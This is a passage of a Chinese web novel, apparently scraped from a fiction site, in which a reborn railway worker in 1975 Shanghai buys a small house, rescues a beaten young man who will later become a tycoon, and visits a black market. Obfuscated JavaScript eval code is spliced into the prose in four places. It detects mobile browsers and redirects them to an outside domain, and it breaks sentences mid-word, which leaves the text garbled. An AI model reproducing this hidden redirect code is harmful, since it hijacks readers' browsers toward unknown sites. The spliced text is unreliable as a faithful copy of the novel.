席于飞从兜里掏了五块钱递过去,“真是辛苦阿姨了,拿去给家里孩子买糖吃。带我去看看吧。” “哎哟,有什么辛苦的,反正吾也没事啦,家里孩子们都上班,还没有孙子辈呢。”阿姨捏着五块钱,笑的眼睛都看不见了。 这个小洋楼稍微有点儿偏,不是那种电视上三层白栏杆精致的小楼。只有两层,房间也不多,但前后有院子,长满了杂草。 小楼院门都没锁,推开后里面破破烂烂的。 “虽然破了点儿,但位置好,周围人家离得远,伊年轻人闹腾点儿不怕有人上门找麻烦。就是院子要收拾,哎呀,一会儿工夫的事。” 院子里原本有青石板铺路的,但都被人偷走了,露出黄泥巴。 阿姨带他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15702094|173223||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 深一脚浅一脚的走到小楼前,掏出钥匙把门打开,“里面很好的哦,家具也有。” 刚说完,一只大老鼠从面前吱吱叫着跑了。 “不住人,就是会有这些小东西。侬如果要的话吾就帮你打扫打扫,让侬那五块钱不白花。” 小楼内部确实不错,楼梯扶手是木质的,地板是那种带花的地板砖,客厅墙壁上也都镶嵌了瓷砖。 之前这里应该是住了人,有一些家具摆放痕迹,窗玻璃也都是新式的那种淡绿色的玻璃。 “之前住的人也都没有保护好,但该有的也有。哎哟,弄的乱糟糟的。老教授看着闹心,就说要卖掉。啧啧,以前这个房子是给他儿子和儿媳妇住的,哎,挺好的人……” 阿姨一边感慨一边带他去看每一间房子,“里面修整过了,这房子之前被人占了,现在还给了老教授。就是院子里,下了雨,草就疯涨。” 席于飞对这个小楼挺满意的,问道:“多少钱?太贵也买不起啊。” “两千……”阿姨看了看席于飞,“两千五了哦,哎呀,伊铁路上的人都有钱,还在乎这些?” “那钱也不是大风刮来的啊,”席于飞笑道:“便宜些,两千成不?我给您二十块中介费。” “两千……”阿姨开始纠结,“再加点啵,两千二,否则没办法跟老教授交代的呀。” “那成,”两千二在沪市中心地带买一个小楼,简直便宜的让人咬牙。他也没怎么坚持,“什么时候过户?现在成不?那阿姨您能帮我都收拾收拾吗?别跟别人说是我买的……” “两千二可以的呀?”阿姨开心了,“吾这就去跟老教授说,然后去过户!哎哟侬放心的啦,吾就说老教授让帮忙收拾的。对了侬可得买新的锁,以后要人帮侬看房子啵?” “以后可得有着麻烦阿姨的地方呢。”席于飞笑道:“咱先去过户,之后再说别的。” 这时候过户非常简单,就两个人,先去街道开一封证明信,然后去房屋管理所出示一份赠与文件,这房子就能转手了。 老教授看上去头发都白了,脸上满是周围,很老的样子。但看转赠合同上面,他才只有五十九岁。 五十九岁的人,被折磨的像七十的,看的席于飞一阵心酸。 “真是谢谢您,那套房子我会好好爱惜的。”席于飞把薄薄的一张房产证明放进兜里,然后扶着老教授从房屋管理所的台阶上下来。“我父亲也是教书的,咱们两家也算是同门了。” 老教授苦笑着摇了摇头,“这世道……哎……” “这都平反了,以后会有好日子的。您得好好保养身体。”席于飞忍了忍,最后还是说道:“剩下的房子就不要卖了,留着出租也是个进项。如果您不想再这边待着,就去京城找我家玩,您跟我父亲应该有话题聊。” “好孩子,”老教授拍了拍席于飞的肩膀,“你叫我于大爷就好了,以后有机会,我会去京城那边看看的。” 这老教授说话,到不是沪市的口音。 “您等一下,”席于飞转身跑进房管所,片刻后拿着一张纸出来,“这是我家的地址,我在铁路上班,这是我单位电话。您如果要买个车票什么的就找我,或者去京城散散心。于大爷,以后日子会越来越好过的,您不用担心。” “好,好……”于教授把那张纸小心翼翼的放进兜里,“我一定去,你在外面也小心点儿,啊?好孩子。” 于教授说完,也不让他送,颤颤巍巍的走了。 阿姨等于教授走了,这才凑过来,“哎,以前多好的一家子,现在成了这样。噢哟,对了,那个……” 她说着,看向席于飞。 席于飞连忙从兜里掏出二十块钱递过去,“阿姨,那个房子您可得帮我收拾收拾,我明天早晨过去,顺便换把锁。” 阿姨笑的脸都皱了,“放心放心,阿姨收拾房间一把好手嘞。今天就能给侬都收拾干净,明天侬就能踏踏实实住进去,放心吧!哦对了,吾姓张,侬叫吾张阿姨就好,吾住在三弄,就是今天侬看见吾的地方。以后有什么事,就找吾。” 这时候的人都还算比较讲诚信的,席于飞十分放心的走了。 他也没想到自己出门一趟,搜刮来的两千多块钱几乎花了个一干二净,兜里满打满算只剩下五十块了。 不过换了套房子,也挺好。 反正上辈子,他没在沪市买房。好地段太贵,其他的又太偏,没能看得上。 这辈子,一开局有了沪市一套小楼,真的是相当不错了。 席于飞美滋滋的往回溜达,等回到宿舍发现宿舍里其他人都还没回来。不过这也正常,梅雨他们一看就是要倒腾东西,估计晚上也不能回来。 这时候食堂人不少,经过下午的“教训”,他干脆没有点炒菜,就买了几个包子馒头,打了一饭盒粥,然后回到宿舍,从市场里自己亲手凉拌了个菜,又拿了根熏肠出来。 等吃饱喝足,天都黑透了。 侯长青房间里也没人,好像大家都有点儿私事要做,把他一个人丢在这里。 不过他也不介意,回到宿舍把门反锁,直接上床睡觉。 等早晨,他还打算去黑市逛一圈,感受感受呢。 四点不到,席于飞就被吵醒了。外面传来嘈杂的声音,好像是另一趟从南边来沪市的火车到了,车组人员过来修整。 外面的天还黑着,席于飞也躺不住了,干脆起床。 九月底沪市的凌晨,潮湿沁凉。 食堂还亮着灯,席于飞过去买了两个包子,拿在手里边走边吃。 外面马路上的路灯亮着,但越往弄堂那边走就越黑。 席于飞突然打了个喷嚏,看着周遭黑乎乎一片有些害怕,盘算着找个亮堂地方等一会儿,等人多点儿再过去。 谁知道脚跟还没转呢,就听见前方传来一阵打架的动静。 “特么的,就你家还想平反?美得你!”席于飞都打算远离麻烦了,但听见这么个动静,离开的脚步顿时就停住了。 这可不是沪市腔,这是京城口音。 有京城的人,在沪市打架? 平反? 什么意思? 14.遇见个“熟人” 凌晨的夜色浓黑,几盏微弱的路灯勉强能照亮方寸之地。 几只被惊吓的飞蛾啪啪的扑打在路灯的罩子上,留下恍恍惚惚的暗影。 都说好奇心害死猫,席于飞觉得自己应该比猫强一点儿。 他就看一眼,主要是在沪市遇到“老乡”,听见这么狂妄的京腔,实在是太好奇了。 “平反”这两个字,在这个时代被如此大咧咧的说出来,背后一定会沾满血腥。 有的人被平反,那么就会有人陷入疯狂的反扑。 弄堂深处,几道人影在拳打脚踢,地上蜷缩着一个人,蜷曲着身体护着头,完全无法挣扎还手了。 “啧,”席于飞皱眉,他从兜里掏出一只塑料哨子,用力吹响,“警察,警察来了!” 正在实施暴力的人动作顿时一顿,看向声音来处。 席于飞又掏出手电晃了晃,“谁在那里?谁叫的警察?” “快走,来人了!”施暴者低喊,顿时做鸟兽散。 原地等了片刻,见没有人返回来,席于飞才走上前去,看看那个被揍的小可怜到底是谁。 这一看,他愣住了。 地上躺着的是个年轻男人,他脸颊上蹭了血,缓缓地坐起身,一只手撑在地上,一只手捂着肚子,看表情有些难过。 席于飞吃惊的到不是这些,而是这个人,他应该认识。 不,应该说,他见过这个人的中年版以及老年版。 上辈子,他虽然身边亲人都没有一个,但好歹也算是个成功企业家。因为祖籍在京城,他偶尔会从南方自己的事业发迹地去京城参加一些圈里人的聚会。 而眼前这个人被众星捧月一样的围着,只是身上散发着拒人千里之外的冷漠。 云穆清,一个十分传奇的人物。据说年轻的时候过得十分苦难,然后白手起家,十几年的工夫就在京城打下了一片天,名下企业包括但不限于物流,重工机械,房地产以及大型商超。 如果说京城底蕴深厚的豪门众多,但这个云穆清靠自己的能力,硬是在一群豪门里杀出一片天,成为令人无法小觑的存在。 “多谢……”年轻的云穆清咳了声,吐掉口中的血水。 席于飞对云穆清的发家史只是略了解,毕竟两个人的“战场”并不在一个地方。 他上辈子是在鹏城,也就是后来的深市发的家,相对于在京城厮杀的这位云总来说,要简单不少。 只是,他怎么也没想到,自己会在沪市这个地方,遇到被揍的可怜兮兮的未来云总。 不得不说,虽然被揍了,但年轻的云总,长得真够味儿! 就算是老了,也是个高大的帅老头。 不像自己,明明家里兄弟侄子个头都很高,但是他跟在那三年被耽误了似的,个头死活上不去一米八。 再加上他随了母亲,曾柳华可是一个长相十分温婉的女子,眉目柔和,见人三分笑。 只可惜被这个时代磋磨的失去了大部分光彩,如今变成了个普通的家庭妇女。 曾经有人说席于飞长得秀气,他确实和那些老爷们不太一样,没有浓重的眉和炯炯大眼,也没有粗硬的头发,与浑厚的声音。就连骨架相对来说也窄了很多,年轻的时候是个瘦小伙儿,老了变成了个不招人待见的瘦老头。 估计正是因为他长得跟曾柳华很像,所以被老娘当做心肝肉似的疼爱。 “不用谢,”在对方疑惑的目光里,席于飞回过神来,“我带你去医院?” “不,不用。”云穆清撑着墙站起身,然后靠在墙上把自己的身体摸了一下,“骨头没事,只是皮外伤而已。” 他说着,目光在地上逡巡一圈,浓重的黑眉微拧。 “掉了什么东西了吗?”席于飞拿着手电向周围照了一下,“那个包是你的?” 角落里有一个被踢打的破破烂烂的绿色军用挎包,他几步走过去捡在手里,回来递给云穆清,“那什么,你看看有没有丢什么东西。” 云穆清打开包,“没有丢什么东西。” 他包里只放了几件换洗的衣服,重要的东西都贴身放着呢。 席于飞看着他摇摇晃晃站都站不稳的样子,忍不住道:“我还是带你去医院看看吧?万一上了内脏就麻烦了。” “不去医院,”云穆清摇摇头,他站直了身子,高大的身量和梅雨有的一拼,高出了席于飞半个头,“医院怕是也有他们的人。我们赶紧离开吧,万一他们回来就麻烦了。” 席于飞看着对方,实在是于心不忍,“要不你去我那里休息一下吧?我那里没人住,周围也没有什么邻居。你这样不行,至少得吃点药什么的。” 他上前抓住云穆清的手臂,“听话,走,我带你先去休息一下。” 云穆清挣了一下没挣开,他看了席于飞一眼,只觉得眼前阵阵的发黑。 “好,谢谢你。” 靠他自己,怕是都没办法走出这条弄堂。 席于飞带着他七拐八拐,到了自己买的那栋小楼跟前。 小楼大门仍旧没锁,不过里面的杂草已经全部清理干净。那位阿姨拿了钱是真的办事儿,她甚至还弄了不少碎砖头,把大门通往楼门的小路铺上了。 掏出钥匙把楼门打开,房间里也是一股清爽的气息,阿姨把房间也都打扫干净了。 席于飞把人扶到一把椅子跟前,“你先坐下休息休息,我去收拾一下卧室。一会儿给你烧个热水擦洗……等天亮了我去买一把大锁把门口锁一下,你暂时在这里,不用担心。” 他用手电在周围照了一下,找到灯绳一拉,竟然还有电! 昏黄的灯泡投下温暖的光,席于飞转身看着浑身狼狈不堪的云穆清,再次想到之前众人口中的那个云总年轻时候不容易的说辞。 “你不怕我是坏人?”云穆清看着面前黑瘦的男孩里外收拾,心里却十分安静。 席于飞嗤笑,“你都这样了,站都站不稳,还能弄出什么事?我听他们说平反……你是打算平反?” 云穆清沉默了。 席于飞也没有纠结,他在厨房看了看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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不得不说,气势很像。都被揍成这样了,腰板子还挺的直直的。 席于飞有些心急黑市,他在市场里的小餐饮摊位上拿了十来个肉烧饼,又拎了只烧鸡。最后转了圈儿,又抓了几个鸡蛋塞进兜里。 相比第一次在这里拿东西的心虚,如今的席总理直气壮了。 管他呢,都跟自己过来了,那就是自己的了! 卫生间响起阵阵水声,席于飞又烧了一壶热水,冲了碗鸡蛋汤放在卧室的桌子上,把那些烧饼烧鸡也都放了上去。 “我给你准备了吃的,一会儿你出来自己吃点儿好好休息。我先出去一趟,等天亮了回来。” “好。”卫生间传来简短的回复。 “别偷摸跑了啊,你这样的出去还得挨揍!”席于飞想了想又叮嘱,“等我回来咱俩商量着,备不住能找到办法。” 等了片刻,卫生间再次传来回应,“好,我等你回来。” 15.兄弟怎么称呼 未来的京城商业扛把子也挡不住席老北鼻对黑市的好奇心。 不过他特地绕了一圈路,从之前扛把子挨揍的附近经过。那里仍旧黑乎乎的,地面上还可以看到之前打斗的痕迹。 席于飞定定地看了一会儿,心里寻思当年姓云的在这里挨揍,最后不知道到底是谁救了他。 转过身刚走了几步,就听身后传来一阵脚步声,听动静还不止一个人。 难道那群人又回来了? 席于飞吓了一跳,连忙躲进一户门洞里,探头探脑往外看。 “哥,还没到地方吗?”这是个年轻女人的声音。 “快了,就快了。”年轻男人回道。 没一会儿,就看见三男一女四个年轻人,背着大大的竹筐在他面前经过。 等他们的背影消失在黑暗中,席于飞才从门洞里走出来。 如果没有自己,很有可能就是这些年轻人把云穆清救了吧?通过刚才那几个人身上的穿着以及说话的口音,他能明确的确定这几个年轻人都不是本地人。 应该是在沪市附近下乡的知青。 知青们里面有不少艺高人胆大的,黑市这种地方就连当地人也不怎么敢来,但是知青敢。 再加上沪市如今比较宽松的环境,也让知青们更加蠢蠢欲动起来。 如今已经是75年了,再过两三年,这群知青们就要面临返乡了。等日子过得好了,曾经下乡的苦难就会成为口中的谈资。一起下过乡的情谊,跟当兵做战友的感情都差不多了。 席于飞跟在这几个年轻人身后,慢悠悠的往黑市那边溜达。 等他到了地方,原本一个人都没有的黑乎乎巷子里,重重黑影就跟雨后春笋似的,也不知道这么短时间,从哪里冒出这么多人。 巷子口有人坐在台阶上向四处张望,几个小年轻进去的时候还掏了钱。轮到席于飞,那人低声问道:“干什么的?” “铁路上刚下车,来这里看看。”席于飞回。 那人把席于飞上下打量了一番,嗤笑道:“新人?昨天北方过来的?没人带你玩啊?” 席于飞:…… 这群街溜子真的是门清啊。 “别人的路子我也不好蹭不是?先来看看,混个眼熟。”席于飞笑呵呵的从兜里抓了把糖递过去,“甜甜嘴,兄弟,辛苦了。” 那人接过糖,直接拨开一块塞进嘴里,“行了,进去吧。如果听见哨声就赶紧往后门跑,那边弄堂里空房间多,随便找一间躲进去就行了。对了,把脸遮一下,避免麻烦。” “谢了兄弟。”席于飞拱了拱手,从兜里掏出个大手绢往脸上一蒙,就慢悠悠的走进弄堂。 黑市,也被称之为鬼市。 虽然在现在这种地方总是会被查,但等到改开之后,鬼市反而蓬□□来。 不过那时候鬼市卖的可不是什么粮食鸡蛋之类的东西,而是各种乱七八糟的老物件或者工艺品。从凌晨两三点到天光乍现,主打一个鬼迷日眼,真假不论。 他记得自己曾经闲的难受也去过鬼市溜达,被打了几次眼损失了小一万之后,就再也不去了。 黑市里看着人多,但动静很小。摆摊的把东西放在面前,遮盖的布掀开一些,也不吆喝,安静的等着顾客上门。 还有一些卖各种票券的,鬼似的在人群里游荡,压低声音逢人就问,“要票不?换票,卖票都可以。” 弄堂里是卖各种粮食肉蛋的,席于飞还看见了刚才那四个小年轻,筐里面露出一些蔬菜和熏腊的痕迹。无论男女都用布巾遮着脸,生怕被人认出来。 靠里面还有个荒废的大院子,也是人影憧憧。 不过院子里卖的东西档次就高了不少。 有大块的布头,一捆捆的毛线,纳好的鞋底子和手工鞋。席于飞转了转,发现里面竟然还有卖衣服和纱巾的,女孩子们的头花和瑕疵毛巾,掉瓷了的搪瓷盆和茶缸子。还有人卖二手的手表,半导体,闹钟之类的东西,问的人也不少。 更离谱的是几个人摊位前放着一卷一卷的塑料布,电线和铁钉螺丝钉,这样的东西竟然也有人来问价。 布头跟毛线摊位前人最多,几位中年妇女无声的厮杀着,把自己喜欢的东西紧紧抓在手里,生怕一错眼就被别人抢走了。 “这毛线……”看见毛线,席于飞眼前一亮,他挤了过去,“是纯羊毛的吗?” 守摊子的是个小伙子,普通话说的有些蹩脚,“有纯羊毛的,还有腈纶的。你要那种?纯羊毛的大红的黄色的没有了,只有绿色的蓝色的和灰色的了。” 鲜艳的颜色总是会卖的更快,纯羊毛的也比腈纶线更受欢迎。 其实席于飞对毛线衣挺有抵触的,这玩意吧不像后世,线都能做的十分柔软,还有可以贴身穿的那种羊绒线。这时候就是羊毛线,做成毛衣穿虽然暖和,可是扎肉。 里面衣服但凡穿的薄了,就真能把人扎的浑身刺挠,坐立不安的。 腈纶线更别提,南方可能还好点儿。在北方干燥的环境下,脱个毛衣跟放烟花似的,噼里啪啦的给人头发都电竖起来。 席于飞拿起一团蓝色的羊毛线看了看,入手手感确实粗糙。他不太感兴趣,但刚放下,就被旁边的人抢走了。 从摊位上挤出来,他想到自己的市场里就有专门卖毛线的门市,不但颜色丰富,而且大多都是羊绒线,粗细都有,比这里全多了。 等回去,他就拿一些毛线出来,就说…… 就说帮师兄倒腾东西换来的! 拎着一兜子奶粉的梅雨突然打了个大喷嚏,在安静的夜色里把自己吓了一跳。他左看右看没看到人,连忙缩着脖子往回跑。 怎么就打喷嚏了呢? 难不成感冒了? 女孩子们的头花他也挺感兴趣的,但京城不比沪市,那边政治氛围浓厚,如果谁家姑娘头上戴个鲜亮的头花,估计能引得半条街的人去看。 想给妹妹侄女们买点儿东西,还是得等到改开之后才行。 不过转了这么一圈,也让他清楚现在的人缺少什么东西。回头可以把市场里的货物整理一下,不过要等到下次才能过来换钱了。 就这么转了一圈,心里有了底,席于飞干脆抬脚离开了。 走到巷子口,把守的人看见他,忍不住哟了声,“没看上的东西?” 席于飞笑嘻嘻的蹭过去,“来看看行情,回头从京城那边倒腾点儿东西过来。” 那人啧了声,“那怎么不在京城那边出手?” “离家近,熟人多,不方便。”席于飞干脆蹲在他身边,“这里还有什么土特产吗?能往京城倒腾的?” 那人笑出声,道:“沪市能有什么土特产,哦,最近螃蟹下来了,你要整点回去不?好东西都在友谊商店呢,咱也整不出来啊。” “那要整出来,有人要不?”席于飞目光炯炯的看着对方,“譬如说什么酒啊,糖果啊。反正大件没有,小东西还是能折腾折腾的。” 那人眯着眼看着席于飞,“怎么?兄弟有门路?”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15714476|173223||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “有点儿,但东西都没包装。也就倒腾点吃的喝的,还有外国糖,点心什么的,送礼什么的勉强能拿出手。”席于飞开始装。 这个时候送礼能送两斤不错的糖果,那真的是非常能拿得出手了。 那人开始感兴趣了,他从兜里掏出一包大前门,看包装都磨损了不少,里面烟还有大半呢,“兄弟来一根儿?不是我说,兄弟,但凡你有那些好东西,都不用进里面卖,我这里就能给你收了。价格绝对到位,不让兄弟吃亏。” “不抽烟,”席于飞摆摆手。 他上辈子就是烟酒过度肝癌没的,这辈子一点儿烟都不打算碰了。 “没包装你们也要?”他问。 “包装没关系啊,东西是好东西我们就要。尤其是糖跟酒,有多少要多少。如果兄弟能弄点儿好烟那就更好了,按根算钱。对了,我姓庞,庞大的庞,你叫我一声庞哥就行。兄弟怎么称呼?” 席于飞张了张嘴,“啊,我姓云,你就叫我老云吧。” 庞哥:??? 不是,什么玩意老云?兄弟你看看你才多大啊? “行,云兄弟是吧?交个朋友。你下趟来我还在这里守着,你直接带货过来。如果我吃不下,还有别的弟兄能吃的下,绝对不让你白跑一趟。” 庞哥也是知道,这群铁路上的有门路,人脉广,手里攥着不少好东西呢。 那些老油子都是往上面交易,极少能落到他们这些小虾米手里。 如今碰上个青瓜蛋子,怎么也得啃一口带油的下来。 “成,我下次带货过来。诶对了兄弟,附近哪里有卖锁的?”席于飞想起自己买的那个便宜小楼大门还没锁呢,这年头买一把锁都要票,他身上还真没有票。 “多大的,有票吗?”庞哥问。 “锁大门,没票。要好点儿的锁。”席于飞就知道,这些街溜子有门路。 庞哥嘿嘿一笑,道:“院里不是有个卖塑料布的吗?你找他问,他有各种锁。” 席于飞又去黑市里转了一圈,等回来兜里就揣着一把大锁,还带四把钥匙。再跟庞哥打个招呼,他抬脚就往小楼那边去了。 天边已经开始泛起鸭蛋青,估计没一会儿,那黑市里的人就跟鬼似的,烟消云散了。 轻手轻脚的回到小楼,席于飞反手插上大门,掏出钥匙把楼门打开。 房间里十分安静,客厅的桌子上放着几个倒扣的碗,里面是云穆清吃剩下的食物。 席于飞打开碗看了看,十多个肉烧饼吃了大半,烧鸡也干掉了半只,看上去那个姓云的是一点儿没客气。 他走到卧室推门进去,云穆清趴在床上睡的很熟,桌子上的药也被吃了一些,杯子里留着半杯水。 估计是因为热,被子只盖在了腰间,露出了对方线条流畅的肩背。 席于飞看着云穆清肩膀上的肌肉,忍不住撇撇嘴,内心开始嫉妒。 都是男人,眼前这位就肩宽腿长的。看看自己,细胳膊细腿儿,胳膊上的小肌肉跟耗子似的,都不好意思秀出来。 这年头人人都吃不饱,怎么这家伙就能有一身腱子肉呢? 他走到床边,抬手摸了摸未来云总的额头,还好,没有发烧。 看样子那顿揍确实不太严重,可能最重的那一下就在后脑勺了。 不过根据未来走向,那一棒子并没有把这位打出太大问题。 刚要收回手,手腕蓦地就被攥住了。 席于飞低头,对上了一双清明的眼睛。 16.您就是我亲姨 “是你啊……”云穆清松开手,撑着床坐起身。 被子滑落堆积在腰间,露出上半身青肿痕迹。 “你等一下,我给你找点儿药。”席于飞嫉妒的看着对方的胸肌腹肌,终于忍不住问道:“你吃什么长大的?” 云穆清茫然的看着他,“什么?” “没什么,你休息。” 未来席总忙不迭快步离开,觉得自己真的是没出息。 不过就是点儿肌肉,有什么好炫耀的! 他就是懒得锻炼,如果他锻炼,他也有! 躲进另一个空房间,席于飞钻进市场,直奔药铺,在柜台里面找到了碘酒红花油云南白药喷雾和酒精棉球。 然后一股脑的抱到云穆清面前,“喏,你自己擦擦。后脑勺我给你上点药……那什么,真不去医院看看?” 云穆清拿起一瓶碘酒看着,摇了摇头,“那些人不找到我不会罢休的,我休息几天就回京城。到时候去上班,他们就奈何不了我了。” 手中的碘酒瓶子看上去很普通,但云穆清怎么看怎么觉得,比他在军中用的药品包装要精致许多。 席于飞有些心虚,佯装不耐烦道:“有什么好看的?这是用的不是拿来相面的,赶紧着,你够不着的地方我帮你弄。对了,你什么单位的?” 云穆清把手里的碘酒瓶子放在床头柜上,道:“铁路局。”说完,便拿起红花油拧开盖子,倒在手心一些,然后往服上按压。 “铁路局?”席于飞都惊了,“那我怎么没见过你?” 云穆清抬头看他,一双漂亮的凤眼眯了起来,“你在铁路局?” “你师傅是谁?”席于飞可太好奇了,他上辈子在铁路上待了小两年,完全没见过眼前这位大神。 云穆清摇了摇头道:“还没定,我刚退伍,找了工作单位接收,请了一个月的假还没正式上班。” 家里亲人四分五裂,长辈还在西北受苦。他完全没心情工作,只想着要如何把亲人都救回来。 以前实在没办法,家里人托尽了关系,把他送往部队,把妹妹送去下乡,希望他们能保留云家的火种,不要被这场浩劫牵连。 因为身份的原因,他在部队就算立了功也不容易升迁,如今听到有人可以平反的风声,就迫不及待的退了伍。 还好部队首长赏识他,给他找了一份好工作,让他能够开出介绍信,否则都不知道要怎么来沪市。 一个月的假期,还剩下不到一半。 可现在,他连头绪都没有。 “铁路局好啊,”席于飞那棉签沾了点儿碘酒,让云穆清转过身,给他擦后脑勺的包。“我就在铁路局啊,回头你来我师傅这个班,还有一个来月就换班去跑西北的路线了,还能去那边看看你家亲人。” 不知道是不是因为受了伤让人变得脆弱,云穆清听到亲人两个字,情绪低的不行,“我没脸见他们。” “哎呀,你这年轻人,怎么说话呢?”老北鼻顿时就不高兴了,“我跟你说,亲人只要活着,那就有指望,别等把人都作没了再后悔,到时候不管挣多少钱都没用。你这孩子别跟我犟啊,我可是看到你脑袋上有两个旋了。你就听我的没错,跟我一个队,然后去西北看看亲人,打点打点。眼瞅着黎明前的黑暗就要过去了,可别在这个时候撂挑子。” 云穆清嘴角抽了抽,心说你比我还小呢,怎么就一口一个年轻人,一口一个孩子了? 他深吸一口气道:“打点?那群人沆瀣一气,恨不得人骨髓里都榨出油来。一群蛀虫,我恨不得毙了他们!!” “哦哟哦哟,”席于飞学起了沪市阿姨的腔调,“侬这么大声音,想做啥啊?脑子有没啦?好好动动脑子行不行?你前脚来沪市后脚就被人揍了,咋就不想想为什么啊?” 云穆清低垂着头,其实他也想过最不可能发生的事,只是不愿意仔细去琢磨。可如今被人戳破,心里更加难过。 “他是我爷爷最喜欢的学生。” 那个人在沪市有些权势,只要他愿意出面帮忙说几句话,不说平反,至少能让家里人在西北少受一些苦。 他从部队出来就直奔西北,看到瘦骨嶙峋的爷爷奶奶和父母,以及兄长嫂子,两个瘦到不行的侄子,心里难受的几乎快要死掉。 爷爷说如今有人已经平反,让他拿着一封信来沪市找人,想看看能不能疏通点儿关系。 可谁知道…… “你可别钻牛角尖,”席于飞看着云总后脑勺那个大包,摇着头心里直咋舌,“我知道你这种年轻人拉不下面子,没事,这有什么的?只要家里人能平安,咱什么都能做。这样,回头你去单位报到,跟我一个班次,然后呢去西北的时候我带你走关系。我告诉你,人与人之间的关系只要建立在权利和金钱上的,就可以动摇。到时候咱们买通那边几个小领导,只要他们手松一点儿,你家里人就能少受很多罪,知道吗?” “你说的简单!”云穆清突然一肚子火,他扭头看向席于飞,“打通关系?那得需要钱!我……对,你说的也对,回头我卖掉工作,总是会有机会的。” “不是,你是个傻子啊?”席于飞都惊了,未来的云总在商场纵横,财大气粗气势凌人。怎么这时候年轻的云总跟个憨憨似的? “你卖掉工作?然后呢?谁给你开介绍信?以后怎么去西北?没有工作就没有钱,你吃什么喝什么?当盲流啊?” 云穆清退了伍,除了工作之外,手里还剩下一些安置费。但是他之前在京城跑关系,钱都用的差不多了,可人却都只是应付他。 以前那群人看着爷爷父亲多么的亲热,如今就多么的冷淡,完美的阐述了什么叫做人走茶凉。 “我,我没有钱。”云穆清跟歇了口气的皮球似的,肩膀都塌了,“为什么这么难啊?我家里也没有得罪谁,明明之前对他们这么好,为什么……” “哪儿这么多为什么?成天怨天尤人不如靠自己想办法。成了,遇到我你算是遇到好人了,我师父老侯组里还差个人,你赶紧打电话把这个名额补上,否则到时候咱俩不在一个组,多麻烦。” 席于飞也不是特别想做这么个好人,只是努力想到当年云穆清的资料上写着他年轻时候历尽苦难,身边亲人只剩下一个妹妹的时候,就想到了上辈子的自己。 年轻人总会一时冲动走错路,他作为过来人,能帮一把,就帮一把吧。 “你为什么会帮我?”年轻的云总再次问道。 席于飞无语。 “不是,你十万个为什么啊?你肩膀子上扛了个提溜转,脑回路都平了?是不是你觉得谁都不帮你才正常?有个好人帮你你还不习惯了?咋?你想上天啊?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15721400|173223||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 云穆清被怼懵了,半晌说不出话来。 “挺好的大老爷们别总磨磨唧唧的,”席于飞把碘酒瓶子拧上,丢到桌子上,“红花油拿来,我说你倒是给自己按按啊,等我伺候你呢?” 云穆清手忙脚乱的给他拿红花油,“我没有那个意思。” “行了行了,”席于飞接过红花油,倒了一些在手里,把瓶子放在一旁,双手揉搓然后贴在那人漂亮的脊背上,“挺大个人了,好歹动动脑子。你那个脑袋都出厂二十来年了,不会还是全新的吧?该用就用,别舍不得。” 云穆清:…… “你怎么知道我二十多岁了?”他蹙眉。 “我怎么知道?因为你看上去比我老啊!”席于飞手下用力,“我没说你三十就已经够对得起你了,矫情什么啊?” 云穆清:…… 刚才不是好好的聊天吗?怎么说急眼就急眼了呢? 席于飞还想说些什么,就听到院门口传来了动静,“那个,大侄子,侬在不在呀?” “来了来了!”席于飞连忙在水盆里洗了洗手,甩着俩膀子就跑了出去,“张姨,您来的挺早啊。” 张阿姨笑呵呵的看着席于飞开门,“侬来的也好早的呀,哦哟,侬身上好大的药味,病了哇?” “没,我一哥们跟人打架,让人揍了,我给他上点儿药。张姨进来坐。”席于飞让开门。 “不了不了,”张阿姨把手里拎着的篮子递过去,“早晨家里蒸了馒头,吾想着你早晨来,或许没吃饭呢。” “哎哟,张姨你真是我亲姨,我还真没吃饭呢。”席于飞连忙接过篮子,“姨您进来坐,我这儿还有事儿跟你商量呢。” 张阿姨也不扭捏,大大方方的进了门,随手还把门关上了,“什么事的呀?” “是这样的阿姨,我明天就得跟着车回京城了,过几天才能回来。我这个兄弟挨了揍不敢回家,要在这里休息几天。这不是看厨房什么都没有吗?想着让阿姨费费心,帮忙弄点柴火煤炭。蔬菜粮食我们自己买,不用姨操心。” “哦哟,吾当时什么事,这种小事放在吾身上啦。侬给了那么多钱,我总是要帮点儿忙的呀。屋子昨天吾带着囡囡收拾干净了,哪里还需要收拾侬告诉吾。” 